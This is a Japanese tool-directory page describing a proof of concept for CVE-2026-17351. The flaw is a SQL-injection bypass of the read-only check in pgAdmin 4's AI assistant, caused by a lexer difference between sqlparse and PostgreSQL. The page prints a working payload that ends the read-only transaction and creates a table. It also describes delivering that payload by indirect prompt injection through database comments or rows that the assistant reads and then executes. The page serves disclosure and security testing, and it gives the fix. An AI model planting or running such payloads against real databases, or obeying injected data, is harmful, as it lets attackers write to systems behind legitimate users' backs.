Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass — pgAdmin 4のAIアシスタントにおける、sqlparse/PostgreSQLレキサーの差分を介したCVE-2026-17351 SQLインジェクション回避を実証する概念実証。間接的なプロンプトインジェクションの配信を含みます。 | Kitploit
ツール/GitHubGitHub/hunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育AIセキュリティデータベースセキュリティ
GitHubhunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

pgAdmin 4のAIアシスタントにおける、sqlparse/PostgreSQLレキサーの差分を介したCVE-2026-17351 SQLインジェクション回避を実証する概念実証。間接的なプロンプトインジェクションの配信を含みます。

リポジトリを見る
20日前未レビュー

CVE-2026-17351 — pgAdmin 4 AI アシスタントのレキサー差分による読み取り専用バイパス

CVE-2026-17351 の PoC。pgAdmin 4 の AI アシスタントに存在する重大な(CVSS 9.0)SQL インジェクションバイパスです。

脆弱性の概要

pgAdmin 4 バージョン 9.13 から 9.16 は、Python の sqlparse ライブラリを使用して、LLM が生成した SQL クエリが単一の読み取り専用ステートメントであることを検証します。PostgreSQL の standard_conforming_strings = on(PostgreSQL 9.1 以降のデフォルト)では、sqlparse と PostgreSQL は、文字列リテラル内のバックスラッシュの扱いについて見解が異なります。これにより、攻撃者は sqlparse の検証を単一の SELECT として通過する一方、PostgreSQL では 4 つのステートメントとして実行されるペイロードを作成できます。その中には、読み取り専用トランザクションを終了させる COMMIT と、それに続く書き込みステートメントが含まれます。

ペイロード

root@kitploit:~
SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --'
  • sqlparse は、大きな文字列リテラルを持つ 1 つの SELECT として認識 → 検証を通過
  • PostgreSQL は、SELECT '\' + COMMIT + CREATE TABLE pwn(x int) + SELECT 1 --' として認識

配信方法

ペイロードは間接プロンプトインジェクションによって配信されます。攻撃者は、AI アシスタントが読み取るデータベースオブジェクト(列コメント、行値、ビュー定義)内にペイロードを仕込みます。正当なユーザーが質問すると、LLM は汚染されたデータを読み取り、それを execute_sql_query ツール呼び出しとして出力します。

ファイル

ファイル説明
poc.pyレキサーの差分を実証: sqlparse の検証は通過するが、単純クエリプロトコルでは複数のステートメントが実行され、拡張クエリプロトコルではブロックされる
prompt_injection_demo.py攻撃チェーン全体をシミュレート: 列コメントとして仕込まれたペイロード → シミュレートされた LLM が読み取る → 検証を通過 → 実行

必要条件

root@kitploit:~
pip install psycopg[binary] sqlparse

実行中の PostgreSQL インスタンス(14 以降)も必要です:

root@kitploit:~
docker run -d --name pg-poc \
    -e POSTGRES_PASSWORD=secret \
    -e POSTGRES_DB=testdb \
    -p 5433:5432 \
    postgres:18

使用法

root@kitploit:~
# Main PoC — lexer differential demonstration
python3 poc.py

# Prompt injection delivery demo
python3 prompt_injection_demo.py

# Custom connection parameters
python3 poc.py --host 10.0.0.5 --port 5432 --user postgres --password mypw

修正内容(pgAdmin 9.17)

この修正では、psycopg3 の拡張クエリプロトコルを次の方法で強制します:

  1. LLM 専用コネクションで conn.prepare_threshold = 0 を設定する
  2. cursor.execute() に prepare=True を渡す

これにより、ステートメントの境界を決定する権限は PostgreSQL 自身の Parse ステップに移ります。クライアント側のレキサーがどのように分類するかに関係なく、複数ステートメントを含むテキストを構造的に拒否します。

参考情報

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-17351
  • GitHub Issue: https://github.com/pgadmin-org/pgadmin4/issues/10192
  • 修正コミット: https://github.com/pgadmin-org/pgadmin4/commit/ef76102bcd1cdb544eb9b4ef18d3382f22b76752
  • 元の CVE (CVE-2026-12045): https://nvd.nist.gov/vuln/detail/CVE-2026-12045
  • 報告者: Kai Aizen (SnailSploit)

免責事項

この PoC は教育目的および許可されたテスト目的のみで使用してください。

ツールをダウンロード